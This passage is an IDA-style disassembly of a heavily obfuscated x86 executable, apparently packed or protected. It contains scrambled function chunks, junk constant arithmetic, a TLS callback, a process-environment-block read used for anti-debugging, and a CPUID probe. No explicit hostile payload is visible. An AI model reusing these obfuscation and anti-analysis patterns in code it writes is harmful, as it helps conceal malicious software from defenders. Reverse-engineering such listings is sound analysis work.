loc_42A0C8:				; CODE XREF: sub_429B76-59E0j
		jnz	loc_427B9B
		jmp	loc_42907C
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42A0D3:				; CODE XREF: sub_42C486+1A3Aj
		pop	ecx
		xor	ecx, 0A5B3DE40h
		test	ecx, 100h
		jmp	loc_42906C
; END OF FUNCTION CHUNK	FOR sub_42C486

; =============== S U B	R O U T	I N E =======================================



sub_42A0E5	proc near		; CODE XREF: sub_42EDB9:loc_42B1A5p
					; wto1jq8f:0042E26Ej

; FUNCTION CHUNK AT 00424DF7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00424E52 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426527 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042CAFC SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		push	ebx
		push	7EBA071Dh
		pop	ebx
		or	ebx, 6D1DFD03h
		jmp	loc_424E52
sub_42A0E5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42A0FB:				; CODE XREF: sub_42F50F-8D41j
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42A0FD:				; CODE XREF: sub_429D2E+4D8Dj
		jmp	loc_42BCB3
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42A102:				; CODE XREF: sub_42F50F-2543j
					; wto1jq8f:loc_42D1DBj
		mov	eax, [ebp-4]
		push	offset loc_42CB2E
		jmp	loc_424785
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42A10F:				; CODE XREF: sub_42F6A9-188Fj
		jl	loc_4277A6
		mov	[eax], edx


loc_42A117:				; CODE XREF: sub_42F6A9:loc_425C02j
		push	0A3CD4961h
		mov	ecx, offset sub_42727F
		call	sub_427277


loc_42A126:				; CODE XREF: sub_42FA6E+6j
		jmp	nullsub_174
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428333


loc_42A12B:				; CODE XREF: sub_428333+12j
		jmp	loc_42AA44
; END OF FUNCTION CHUNK	FOR sub_428333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D322


loc_42A130:				; CODE XREF: sub_42D322+Ej
		mov	eax, ds:dword_42F0B4
		or	eax, eax
		jnz	loc_429857
		call	sub_427A8D
		mov	edx, 0E996F72Eh
		jmp	loc_42BEA8
; END OF FUNCTION CHUNK	FOR sub_42D322

; =============== S U B	R O U T	I N E =======================================



sub_42A14D	proc near		; CODE XREF: wto1jq8f:00428EE4j
					; TlsCallback_0+5166p

; FUNCTION CHUNK AT 00424A69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424C88 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425A83 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00425ED2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A9C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F5A8 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jmp	loc_424C88
sub_42A14D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_429091
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_42A15B:				; CODE XREF: sub_4272F3:loc_426D77j
		mov	eax, large fs:30h
		jmp	loc_426985
; END OF FUNCTION CHUNK	FOR sub_4272F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42A167:				; CODE XREF: sub_426535-232Fj
		push	edi
		sub	ebp, 2532266Ch
		mov	ebp, 56C79A79h
		ja	sub_428B3E


loc_42A179:				; CODE XREF: sub_426535:loc_429E0Dj
		push	3BE24861h
		pop	eax
		add	eax, 0F1E9B219h
		add	eax, ebp
		jmp	loc_42F559
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_42A18C:				; CODE XREF: sub_4284EC:loc_4287E6j
		jz	loc_426002
		jmp	loc_42FF18
; END OF FUNCTION CHUNK	FOR sub_4284EC

; =============== S U B	R O U T	I N E =======================================



sub_42A197	proc near		; CODE XREF: wto1jq8f:0042436Bp
					; sub_42C4E2+47Dj

; FUNCTION CHUNK AT 00424AAA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00426956 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426E93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004288CD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AA89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DE54 SIZE 00000010 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-8]
		mov	al, [eax]
		add	[ebp-0Ah], al
		xor	eax, eax
		jmp	loc_424AAA
sub_42A197	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6B1


loc_42A1AA:				; CODE XREF: sub_42C6B1j
		push	0B968FEB0h
		mov	[esp+4+var_4], ebp
		push	offset loc_424A44
		jmp	nullsub_68
; END OF FUNCTION CHUNK	FOR sub_42C6B1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42A1BD:				; CODE XREF: sub_426535+2E08j
		jmp	loc_4282B5
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42A1C2:				; CODE XREF: sub_42C486-4DCBj
		jmp	loc_42CBAB
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429165


loc_42A1C7:				; CODE XREF: sub_429165-4252j
		jmp	loc_42DBD7
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D2BB


loc_42A1CC:				; CODE XREF: sub_42D2BB+10j
		pop	edx
		rol	esi, 1Fh
		push	offset sub_42BF49
		jmp	locret_42AA67
; END OF FUNCTION CHUNK	FOR sub_42D2BB
; ---------------------------------------------------------------------------


loc_42A1DA:				; CODE XREF: wto1jq8f:loc_424854j
		adc	edx, 5A3C8CF3h
		ror	ebx, 15h
		jmp	loc_42E454
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C93C


loc_42A1E9:				; CODE XREF: sub_42C93C+3274j
		jmp	nullsub_241
; END OF FUNCTION CHUNK	FOR sub_42C93C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42A1EE:				; CODE XREF: sub_42A909:loc_42F718j
		jnz	loc_42FA34
		jmp	loc_42A67A
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB58


loc_42A1F9:				; CODE XREF: sub_42BB58+18j
		popf
		xchg	ecx, [esp+0]
		jmp	loc_4274B3
; END OF FUNCTION CHUNK	FOR sub_42BB58

; =============== S U B	R O U T	I N E =======================================



sub_42A202	proc near		; CODE XREF: sub_42E7D7+3p

; FUNCTION CHUNK AT 0042D012 SIZE 0000000A BYTES

		mov	[esp+0], ecx
		push	0FFFFFFF1h
		call	sub_4284EC
		push	eax
		call	sub_42E64B
		mov	edx, [ebp+8]
		mov	eax, [edx]
		jmp	loc_42D012
sub_42A202	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429F7D


loc_42A21C:				; CODE XREF: sub_4269FD:loc_42A717j
					; sub_429F7D+4753j
		push	ecx
		push	9BA3F5E8h
		pop	ecx
		sub	ecx, 0F3F62D2Dh
		add	ecx, 58949A63h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_42A808
; END OF FUNCTION CHUNK	FOR sub_429F7D

; =============== S U B	R O U T	I N E =======================================



sub_42A237	proc near		; DATA XREF: sub_424F31+9DBBo

; FUNCTION CHUNK AT 0042E4C5 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		jmp	loc_42E4C5
sub_42A237	endp

; ---------------------------------------------------------------------------
		push	291FB3E1h


loc_42A244:				; CODE XREF: wto1jq8f:loc_42C7D7j
		pop	edx
		xor	edx, 58121788h
		push	eax
		push	offset sub_42C595
		jmp	loc_4271CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42481C


loc_42A257:				; CODE XREF: sub_42481C+982Cj
		xor	ebp, 61F1D681h
		sbb	esi, 49AAA160h
		pop	esi


loc_42A264:				; CODE XREF: sub_42481C:loc_42F3C5j
		push	offset sub_428FFC
		jmp	loc_42A36E
; END OF FUNCTION CHUNK	FOR sub_42481C
; ---------------------------------------------------------------------------


loc_42A26E:				; CODE XREF: wto1jq8f:0042E5ADj
		jnz	loc_42ECFB
		jmp	loc_42AEBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3E7


loc_42A279:				; CODE XREF: sub_42F3E7+16j
		lea	eax, loc_4272DE
		push	offset loc_42B790
		jmp	loc_429303
; END OF FUNCTION CHUNK	FOR sub_42F3E7

; =============== S U B	R O U T	I N E =======================================



sub_42A289	proc near		; CODE XREF: wto1jq8f:0042988Dp
					; wto1jq8f:00430012j
		mov	[esp+0], ecx
		pop	ecx
		push	eax
		rol	eax, 6
		mov	ds:dword_429074, eax
		retn
sub_42A289	endp

; ---------------------------------------------------------------------------


loc_42A298:				; CODE XREF: wto1jq8f:00428953j
		ror	eax, 6
		jmp	loc_4295A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42A2A0:				; CODE XREF: sub_429B76+5AE0j
		jl	loc_42E2DC
		cdq
		jmp	loc_42E2DC
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------

locret_42A2AC:				; CODE XREF: wto1jq8f:loc_42612Ej
		retn
; ---------------------------------------------------------------------------


loc_42A2AD:				; DATA XREF: sub_42C2D2+13o
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_42BEA3

; =============== S U B	R O U T	I N E =======================================



sub_42A2B8	proc near		; CODE XREF: sub_42EA31+6j

; FUNCTION CHUNK AT 0042E49D SIZE 00000018 BYTES

		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		jmp	loc_42E49D
sub_42A2B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42A2C6:				; CODE XREF: sub_42C486:loc_42F7C8j
		jnz	loc_42ADA7
		jmp	loc_427981
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42A2D1:				; CODE XREF: sub_428AC6:loc_42F088j
		push	0BBA7CACEh
		pop	eax
		or	eax, ds:4000F7h
		add	eax, 26F8BDD7h
		add	eax, ebp
		jmp	loc_42A773
; END OF FUNCTION CHUNK	FOR sub_428AC6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42A2EB:				; CODE XREF: sub_42506F+57DAj
		jmp	loc_426C94
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42A2F0:				; CODE XREF: sub_42D434-4FD5j
		jz	loc_428230
		cdq
		rol	edx, 0Bh
		and	eax, 874D6BB6h
		or	ebx, ebp
		jmp	loc_42822F
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_42A307:				; CODE XREF: sub_42B276:loc_42B934j
		shl	edi, 17h
		jmp	loc_427C6B
; END OF FUNCTION CHUNK	FOR sub_42B276
; ---------------------------------------------------------------------------


loc_42A30F:				; DATA XREF: sub_4295AA+5o
		mov	[esp], ebp
		mov	ebp, esp
		push	2912348Ch
		mov	[esp], ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_429078
		or	eax, eax
		jmp	loc_42DE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F23A


loc_42A32C:				; CODE XREF: sub_42F23A-AD30j
		sbb	ebp, 765B18E2h
		jmp	loc_42C3CA
; END OF FUNCTION CHUNK	FOR sub_42F23A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42A337:				; CODE XREF: wto1jq8f:00424247j
					; sub_4282C1+5E83j
		sub	eax, 61A1AFD5h
		add	eax, 2C4FB57h
		xchg	eax, [esp+0]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D789


loc_42A34B:				; CODE XREF: sub_42D789-735Dj
		xchg	esi, ecx


loc_42A34D:				; CODE XREF: sub_42D789:loc_4277E9j
		push	eax
		push	743B4053h
		pop	eax
		sub	eax, 0FFE82299h
		jmp	loc_42643C
; END OF FUNCTION CHUNK	FOR sub_42D789

; =============== S U B	R O U T	I N E =======================================



sub_42A35F	proc near		; CODE XREF: sub_42BE51+3p
					; wto1jq8f:0042E5E7j
		mov	[esp+0], esi
		pop	esi
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		call	sub_426350


loc_42A36E:				; CODE XREF: sub_42481C+5A4Dj
		jmp	nullsub_40
sub_42A35F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_42A373:				; CODE XREF: sub_42EDB9-59CEj
		jl	loc_4282DB
		and	ebp, esi
		jg	loc_425E50
		jmp	loc_4282D6
; END OF FUNCTION CHUNK	FOR sub_42EDB9
; ---------------------------------------------------------------------------


loc_42A386:				; DATA XREF: sub_42F75D-79EBo
		jnz	loc_42A585
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_42A585
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C4E2


loc_42A398:				; CODE XREF: sub_42C4E2j sub_42C4E2+Dj
		jns	loc_429423
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_428564
		mov	eax, [ebp+8]
		push	eax
		jmp	loc_426451
; END OF FUNCTION CHUNK	FOR sub_42C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42A3B1:				; CODE XREF: sub_42F25F:loc_42E691j
		jz	loc_42B0F4
		jmp	loc_426D99
; END OF FUNCTION CHUNK	FOR sub_42F25F

; =============== S U B	R O U T	I N E =======================================



sub_42A3BC	proc near		; CODE XREF: sub_42A56D:loc_42A573p
					; wto1jq8f:0042AE77j

; FUNCTION CHUNK AT 0042484A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CF30 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042F973 SIZE 00000006 BYTES

		mov	[esp+0], edx
		pop	edx
		ror	edx, 18h
		shl	eax, 4
		push	6C83AAD3h
		jmp	loc_42CF30
sub_42A3BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424585


loc_42A3D0:				; CODE XREF: sub_424585:loc_42BD27j
		push	offset loc_42C9B5
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_424585

; =============== S U B	R O U T	I N E =======================================



sub_42A3DA	proc near		; CODE XREF: wto1jq8f:00424F4Cj
					; sub_429F7D+Cp

; FUNCTION CHUNK AT 00424A8B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004281F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428C6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CD1E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FB94 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, 0CA415FDCh
		mov	eax, [eax]
		jmp	loc_428C6C
sub_42A3DA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42A3EB	proc near		; CODE XREF: sub_42F185+3j

; FUNCTION CHUNK AT 00424A82 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00425B62 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00428D05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CDF9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042DC80 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E039 SIZE 00000005 BYTES

		add	esp, 0FFFFFFF4h
		mov	[ebp-8], eax
		call	sub_427450
		push	ecx
		jmp	loc_42DC80
sub_42A3EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	ecx, 0AE6C61DAh
		sbb	edx, ecx
		jmp	sub_428AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_42A409:				; CODE XREF: sub_4272F3+16j
		push	0CBAEEFE6h
		pop	edx
		add	edx, 3451101Ch
		add	eax, edx
		pop	edx
		mov	eax, [eax]
		jmp	loc_42B22E
; END OF FUNCTION CHUNK	FOR sub_4272F3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42A420:				; CODE XREF: wto1jq8f:0042CD19j
		jmp	sub_42F3E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_42A425:				; CODE XREF: sub_4282FE-38Fj
		xor	ebp, eax
		cmp	esi, 2B060396h
		jmp	loc_42B24D
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------


loc_42A432:				; CODE XREF: wto1jq8f:loc_4272EEj
		jz	loc_429DBB
		jmp	loc_429FB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42A43D:				; CODE XREF: sub_426535-187j
		push	0AABDB9A1h


loc_42A442:				; CODE XREF: wto1jq8f:loc_42488Ej
		call	sub_42CB36
		push	offset loc_42D2D0
		jmp	nullsub_181
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E785


loc_42A451:				; CODE XREF: sub_42E785:loc_42E791j
		xchg	edx, [esp+0]
		jmp	sub_427A8D
; END OF FUNCTION CHUNK	FOR sub_42E785
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42A459:				; CODE XREF: sub_42AECE+37A3j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		mov	ebp, offset sub_42A467
		xchg	ebp, [esp+0]

locret_42A466:				; CODE XREF: wto1jq8f:0042A6BAj
		retn
; END OF FUNCTION CHUNK	FOR sub_42AECE

; =============== S U B	R O U T	I N E =======================================



sub_42A467	proc near		; DATA XREF: sub_42AECE-A70o

; FUNCTION CHUNK AT 004247A0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00424B42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425A6C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426E30 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00427328 SIZE 0000000D BYTES

		mov	eax, ds:dword_42E524
		jmp	loc_427328
sub_42A467	endp

; ---------------------------------------------------------------------------
		sbb	esi, eax
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42A474:				; CODE XREF: sub_427143:loc_4292F0j
		jmp	sub_42D434
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42A479:				; CODE XREF: sub_42AA68+272Aj
		jl	loc_4278A0


loc_42A47F:				; CODE XREF: sub_42AA68:loc_42FE17j
		push	0
		call	sub_42825A


loc_42A486:				; CODE XREF: sub_428DDD+15j
		jmp	loc_4241CD
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------


loc_42A48B:				; CODE XREF: wto1jq8f:00425C97j
					; wto1jq8f:loc_427C51j
		jp	loc_426D35

; =============== S U B	R O U T	I N E =======================================



sub_42A491	proc near		; CODE XREF: sub_4283CC+23B9p
		xchg	edx, [esp+0]
		pop	edx
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_428DDD
sub_42A491	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42481C


loc_42A49E:				; CODE XREF: sub_42481C:loc_42F979j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42481C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42A4A0:				; CODE XREF: sub_42970D+2ADCj
		jmp	loc_4298E1
; END OF FUNCTION CHUNK	FOR sub_42970D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A4A5	proc near		; CODE XREF: sub_42481C+8p
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		call	sub_425F4F


loc_42A4B1:				; CODE XREF: wto1jq8f:00426C2Dj
		mov	ds:dword_429584, eax

locret_42A4B7:				; CODE XREF: sub_42D86F:loc_42449Fj
					; sub_426C0C:loc_42F04Dj
		retn
sub_42A4A5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429816


loc_42A4B8:				; CODE XREF: sub_429816+1Aj
		jmp	loc_42D172
; END OF FUNCTION CHUNK	FOR sub_429816
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42A4BD:				; CODE XREF: sub_429471+8j
					; sub_42D120+2j
		ror	eax, 17h
		push	eax
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------


loc_42A4C7:				; CODE XREF: wto1jq8f:004286FBj
		jmp	loc_428785
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_42A4CC:				; CODE XREF: sub_42C0D7-4B61j
		mov	eax, ds:dword_429050
		or	eax, eax
		jnz	loc_4295C4
		jmp	loc_426417
; END OF FUNCTION CHUNK	FOR sub_42C0D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42A4DF:				; CODE XREF: sub_4244EA+Cj
					; wto1jq8f:0042688Fj
		call	sub_42DE65


loc_42A4E4:				; CODE XREF: sub_42B2C4+Fj
		jnz	loc_42FD57
		jmp	loc_42B97F
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42A4EF:				; CODE XREF: sub_42E9E8:loc_42B1F5j
		jz	loc_4284A1
		jmp	loc_42B0DD
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================



sub_42A4FA	proc near		; CODE XREF: sub_4260DB+57EDj
					; sub_426E98:loc_42B9C1p
		xchg	edx, [esp+0]


loc_42A4FD:				; CODE XREF: wto1jq8f:loc_42C710j
		pop	edx
		jmp	loc_42EA25
sub_42A4FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4245D6


loc_42A503:				; CODE XREF: sub_4245D6-226j
					; wto1jq8f:00428043j ...
		call	dword ptr [ebp-4]
		neg	eax
		sbb	eax, eax
		push	offset sub_42D789
		jmp	loc_426FD1
; END OF FUNCTION CHUNK	FOR sub_4245D6
; ---------------------------------------------------------------------------
		xor	eax, 200000h
		xchg	eax, ecx
		push	ecx
		xchg	eax, ecx
		popf
		pushf
		xchg	edi, [esp]
		push	edi
		jmp	loc_42AF6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42A529:				; CODE XREF: sub_42A6CD+11j
		jnz	loc_42C8F1
		jmp	loc_42957C
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
		mov	edx, 8D40711Dh
		push	eax
		push	18952095h
		pop	eax
		call	sub_429E99
; START	OF FUNCTION CHUNK FOR sub_4259FF


loc_42A545:				; CODE XREF: sub_4259FF+Aj
		jmp	loc_426B93
; END OF FUNCTION CHUNK	FOR sub_4259FF

; =============== S U B	R O U T	I N E =======================================



sub_42A54A	proc near		; CODE XREF: wto1jq8f:00427E75j
					; sub_42C0DF+3912p

var_4		= dword	ptr -4

		mov	[esp+0], ecx
		pop	ecx
		push	eax
		push	eax
		push	775BD709h
		pop	eax
		add	eax, 88E689EAh
		xchg	eax, [esp+4+var_4]
		jmp	sub_42AECE
sub_42A54A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A564	proc near		; DATA XREF: sub_42A8ED:loc_428D32o
		mov	esp, ebp
		pop	ebp
		retn
sub_42A564	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42A568:				; CODE XREF: sub_42E9E8-2160j
		jmp	nullsub_150
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================



sub_42A56D	proc near		; CODE XREF: sub_42A8ED-64B6p
					; sub_42481C+130p ...
		push	ebp
		call	sub_42EA31


loc_42A573:				; CODE XREF: sub_42E597:loc_42D658j
		call	sub_42A3BC


loc_42A578:				; CODE XREF: wto1jq8f:00429DC0j
		jmp	nullsub_41
sub_42A56D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DA7


loc_42A57D:				; CODE XREF: sub_427DA7-D38j
		jmp	loc_42A96E
; END OF FUNCTION CHUNK	FOR sub_427DA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E541


loc_42A582:				; CODE XREF: sub_42E541:loc_42E43Aj
		or	[edx-8], eax


loc_42A585:				; CODE XREF: sub_42F75D-79F4j
					; wto1jq8f:loc_42A386j	...
		jb	loc_428C5A
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_42AC2F
		jmp	loc_42EF19
; END OF FUNCTION CHUNK	FOR sub_42E541
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A59B	proc near		; DATA XREF: sub_429B76-1FD6o
					; wto1jq8f:0042DE99o

; FUNCTION CHUNK AT 0042BBAE SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	offset sub_4260DB
		jmp	loc_42BBAE
sub_42A59B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42A5A8:				; CODE XREF: sub_426535+5C4Dj
		jz	loc_42865F
		jmp	loc_42D5E4
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------


loc_42A5B3:				; CODE XREF: wto1jq8f:loc_4271E7j
		xchg	esi, [esp]
		mov	ebp, esi
		pop	esi
		jmp	loc_428B27

; =============== S U B	R O U T	I N E =======================================



sub_42A5BE	proc near		; CODE XREF: sub_428501+4j

; FUNCTION CHUNK AT 0042E0D1 SIZE 00000010 BYTES

		push	ebx
		jmp	loc_42E0D1
sub_42A5BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A5C4	proc near		; CODE XREF: wto1jq8f:00424E28j
					; wto1jq8f:00425F17p

; FUNCTION CHUNK AT 0042ABB1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042BB08 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0C1DBC2FBh
		xchg	edi, [esp+0]
		jmp	loc_42BB08
sub_42A5C4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42A5D5	proc near		; CODE XREF: wto1jq8f:004276F1p
		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [ebp-805h], 0
		mov	byte ptr [ebp-804h], 0
		call	sub_42E919
sub_42A5D5	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42E04D


loc_42A5EC:				; CODE XREF: sub_42E04D-1862j
		jmp	loc_42FEE3
; END OF FUNCTION CHUNK	FOR sub_42E04D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426950


loc_42A5F1:				; CODE XREF: sub_426950-207Dj
		jmp	loc_42AD8A
; END OF FUNCTION CHUNK	FOR sub_426950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42A5F6:				; CODE XREF: sub_42AA68+3A30j
		rol	ebx, 7
		add	ebx, 6D3916B1h
		add	ebx, ebp
		add	ebx, 0A20E2E19h
		jmp	loc_42BE9E
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------
		dd 1DAB8A0Fh, 33E90000h
		db 3Dh,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



